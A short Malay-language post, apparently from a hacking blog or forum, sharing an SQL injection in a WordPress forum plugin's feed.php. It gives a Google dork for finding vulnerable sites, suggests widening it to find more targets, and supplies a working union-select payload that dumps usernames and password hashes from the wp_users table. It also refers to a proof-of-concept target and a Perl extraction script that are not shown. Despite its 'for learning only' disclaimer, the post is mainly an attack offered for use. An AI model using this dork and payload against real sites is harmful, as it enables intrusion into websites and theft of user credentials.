Salam.. ni den nak kongsi satu sql injection bug kek Satu component wordpress. Maklumat ini adolah untuk tujuan pembelajaran sahajo. Segalo penyalahgunaan maklumat adalah atas tanggungjawap anda sendiri :)

Ok.. ni google dork untuk mencari site yang vulnerable. Dork ni bulih diubahsuai untuk mendapatkan lobih banyak target.
<br>inurl:"wp-content/plugins/forum-server/feed.php"<br>

Dan ini adolah exploit code eh.
<br>feed.php?topic=1+union+select+group_concat(user_login,0x3a,user_pass)<br>+from+wp_users--<br>

Ni contoh POC target yang mempunyai kelemahan yang dinyatokan kek eteh tu.



Ni pulak adolah perl script yang den buek untuk extract maklumat dari kelemahan sqli